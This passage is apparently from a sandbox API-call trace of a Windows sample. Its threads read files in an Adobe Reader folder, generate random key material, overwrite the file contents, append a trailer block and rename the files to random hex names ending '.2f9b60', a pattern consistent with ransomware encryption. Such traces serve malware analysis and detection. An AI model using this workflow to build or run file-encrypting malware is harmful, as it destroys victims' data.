RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a79d0) returned 1 [0162.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a79d0 [0162.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7a00 [0162.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7a30 [0162.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7a30) returned 1 [0162.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0162.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1c50) returned 1 [0162.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a9c50 [0162.140] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.140] WriteFile (in: hFile=0x1420, lpBuffer=0x423a9c50*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x284cfbb0, lpOverlapped=0x0 | out: lpBuffer=0x423a9c50*, lpNumberOfBytesWritten=0x284cfbb0*=0x108, lpOverlapped=0x0) returned 1 [0164.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0164.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b3b0 [0164.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4420 [0164.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4420) returned 1 [0164.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d140 [0164.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4420 [0164.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43f0 [0164.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43f0) returned 1 [0164.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b3b0) returned 1 [0164.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0164.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f80 [0164.133] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="d8") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="0b") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="5b") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="71") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="8d") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="04") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="62") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="5f") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="f8") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="83") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="86") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="cd") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="7c") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="6e") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="de") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="46") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="ff") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="4c") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="af") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="08") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="76") returned 2 [0164.133] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="78") returned 2 [0164.134] RtlInitAnsiString (in: DestinationString=0x284cfc28, SourceString="d80b5b718d04625ff88386cd7c6ede46ff4caf087678" | out: DestinationString="d80b5b718d04625ff88386cd7c6ede46ff4caf087678") [0164.134] RtlAnsiStringToUnicodeString (in: DestinationString=0x284cfbf8, SourceString="d80b5b718d04625ff88386cd7c6ede46ff4caf087678", AllocateDestinationString=1 | out: DestinationString="d80b5b718d04625ff88386cd7c6ede46ff4caf087678") returned 0x0 [0164.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203fab30 [0164.134] RtlFreeAnsiString (AnsiString="d") [0164.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4420) returned 1 [0164.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a9c50) returned 1 [0164.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a79d0) returned 1 [0164.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7a00) returned 1 [0164.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a79a0) returned 1 [0164.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7970) returned 1 [0164.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd94a0) returned 1 [0164.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9560) returned 1 [0164.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9590) returned 1 [0164.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230e8c0 [0164.137] wcscat (in: _Dest=0x4230e8c0, _Source="d80b5b718d0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\d80b5b718d0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\d80b5b718d0" [0164.137] wcscat (in: _Dest=0x4230e8c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\d80b5b718d0.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\d80b5b718d0.2f9b60" [0164.137] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\d80b5b718d0.2f9b60", NtPathName=0x284cfbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\d80b5b718d0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2b350 [0243.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2b350) returned 1 [0243.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2fba0) returned 1 [0243.752] NtQueryInformationFile (in: FileHandle=0x1420, IoStatusBlock=0x284cfc38, FileInformation=0x284cfc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x284cfc38, FileInformation=0x284cfc48) returned 0x0 [0243.752] NtSetInformationFile (FileHandle=0x1420, IoStatusBlock=0x284cfc38, FileInformation=0x284cfc48, Length=0x28, FileInformationClass=0x4) Thread: id = 2434 os_tid = 0x1e7c [0153.469] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.slv")) returned 0x20 [0153.775] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SLV", dwFileAttributes=0x20) returned 1 [0153.779] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.slv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13f4 [0153.785] GetFileSizeEx (in: hFile=0x13f4, lpFileSize=0x285dfd40 | out: lpFileSize=0x285dfd40*=7680) returned 1 [0153.785] SetFilePointerEx (in: hFile=0x13f4, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.785] ReadFile (in: hFile=0x13f4, lpBuffer=0x285dfcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285dfd08, lpOverlapped=0x0 | out: lpBuffer=0x285dfcc0*, lpNumberOfBytesRead=0x285dfd08*=0x4, lpOverlapped=0x0) returned 1 [0154.044] SetFilePointerEx (in: hFile=0x13f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8e70 [0154.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8f00 [0154.044] NtQuerySystemTime (in: CurrentTime=0x285dfc00 | out: CurrentTime=0x285dfc00*=132462177591742000) returned 0x0 [0154.044] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x4a6140e8 [0154.044] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0xf77d270 [0154.044] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x28cd8032 [0154.044] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x56ae5e04 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x1dc6c470 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x7046f1b1 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x378f63d3 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x7fa0f309 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x48e97b14 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x4c3e5f84 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x48a1340d [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x6d99b689 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x64ca2207 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x7df22875 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x1860f407 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x7b17cb6e [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x45296f69 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x32149037 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x20d0c568 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x4c34d0c3 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x6a3c36b [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x5d9fa511 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x4129129 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x6dba23d0 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x699333e1 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x4d376ab0 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x839dbef [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x3e796eee [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x222e7f6d [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x121a7f59 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x36b1cae1 [0154.045] RtlRandomEx (in: Seed=0x285dfbf0 | out: Seed=0x285dfbf0) returned 0x78b8b78b [0154.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8f30 [0154.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866a40 [0154.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8f60 [0154.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866a40) returned 1 [0154.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8f00) returned 1 [0154.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced18e0 [0154.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866a40 [0154.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4277fa20 [0154.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42783630 [0154.058] ReadFile (in: hFile=0x13f4, lpBuffer=0x4277fa20, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x285dfbf0, lpOverlapped=0x0 | out: lpBuffer=0x4277fa20*, lpNumberOfBytesRead=0x285dfbf0*=0x1e00, lpOverlapped=0x0) returned 1 [0154.100] SetFilePointerEx (in: hFile=0x13f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.100] WriteFile (in: hFile=0x13f4, lpBuffer=0x42783630*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x285dfbf4, lpOverlapped=0x0 | out: lpBuffer=0x42783630*, lpNumberOfBytesWritten=0x285dfbf4*=0x1e00, lpOverlapped=0x0) returned 1 [0161.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6a10 [0161.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6a40 [0161.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6a40) returned 1 [0161.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42783630) returned 1 [0161.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4277fa20) returned 1 [0161.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866a40) returned 1 [0161.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced18e0) returned 1 [0161.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a6a40 [0161.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced18e0 [0161.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866a40 [0161.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6a70 [0161.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6a70) returned 1 [0161.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a6a70 [0161.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6aa0 [0161.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6ad0 [0161.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6ad0) returned 1 [0161.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866a40) returned 1 [0161.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced18e0) returned 1 [0161.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a93d0 [0161.975] SetFilePointerEx (in: hFile=0x13f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.975] WriteFile (in: hFile=0x13f4, lpBuffer=0x423a93d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x285dfd10, lpOverlapped=0x0 | out: lpBuffer=0x423a93d0*, lpNumberOfBytesWritten=0x285dfd10*=0x108, lpOverlapped=0x0) returned 1 [0163.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8ff0 [0163.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8ff0) returned 1 [0163.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d080 [0163.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8ff0 [0163.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8fc0 [0163.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8fc0) returned 1 [0163.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f80 [0163.918] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="c8") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="dc") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="78") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="ee") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="f5") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="83") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="9e") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="25") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="d1") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="c0") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="81") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="b3") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="c0") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="95") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="b5") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="8e") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="74") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="a8") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="8a") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="a9") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="be") returned 2 [0163.918] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="1b") returned 2 [0163.918] RtlInitAnsiString (in: DestinationString=0x285dfd88, SourceString="c8dc78eef5839e25d1c081b3c095b58e74a88aa9be1b" | out: DestinationString="c8dc78eef5839e25d1c081b3c095b58e74a88aa9be1b") [0163.918] RtlAnsiStringToUnicodeString (in: DestinationString=0x285dfd58, SourceString="c8dc78eef5839e25d1c081b3c095b58e74a88aa9be1b", AllocateDestinationString=1 | out: DestinationString="c8dc78eef5839e25d1c081b3c095b58e74a88aa9be1b") returned 0x0 [0163.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203fa270 [0163.919] RtlFreeAnsiString (AnsiString="c") [0163.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d080) returned 1 [0163.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8ff0) returned 1 [0163.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a93d0) returned 1 [0163.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6a70) returned 1 [0163.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6aa0) returned 1 [0163.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6a40) returned 1 [0163.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6a10) returned 1 [0163.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8e70) returned 1 [0163.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8f30) returned 1 [0163.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8f60) returned 1 [0163.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230dce0 [0163.922] wcscat (in: _Dest=0x4230dce0, _Source="c8dc78eef58" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c8dc78eef58") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c8dc78eef58" [0163.922] wcscat (in: _Dest=0x4230dce0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c8dc78eef58.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c8dc78eef58.2f9b60" [0163.922] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c8dc78eef58.2f9b60", NtPathName=0x285dfd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\c8dc78eef58.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2a690 Thread: id = 2435 os_tid = 0x1e80 [0153.470] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.suo")) returned 0x20 [0153.775] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SUO", dwFileAttributes=0x20) returned 1 [0153.779] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.suo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13f0 [0153.783] GetFileSizeEx (in: hFile=0x13f0, lpFileSize=0x2881fc40 | out: lpFileSize=0x2881fc40*=7680) returned 1 [0153.783] SetFilePointerEx (in: hFile=0x13f0, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.783] ReadFile (in: hFile=0x13f0, lpBuffer=0x2881fbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2881fc08, lpOverlapped=0x0 | out: lpBuffer=0x2881fbc0*, lpNumberOfBytesRead=0x2881fc08*=0x4, lpOverlapped=0x0) returned 1 [0154.075] SetFilePointerEx (in: hFile=0x13f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8f90 [0154.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9020 [0154.076] NtQuerySystemTime (in: CurrentTime=0x2881fb00 | out: CurrentTime=0x2881fb00*=132462177592054000) returned 0x0 [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x5b36373d [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x4889cc5a [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x4bb1dd7e [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x2ddfae36 [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x3c622e01 [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x1c8efdbd [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x1b02053d [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x3bf1b76 [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x4d7e340 [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x72cccb2d [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x45f51f21 [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x4a105267 [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 0x788fae4e [0154.076] RtlRandomEx (in: Seed=0x2881faf0 | out: Seed=0x2881faf0) returned 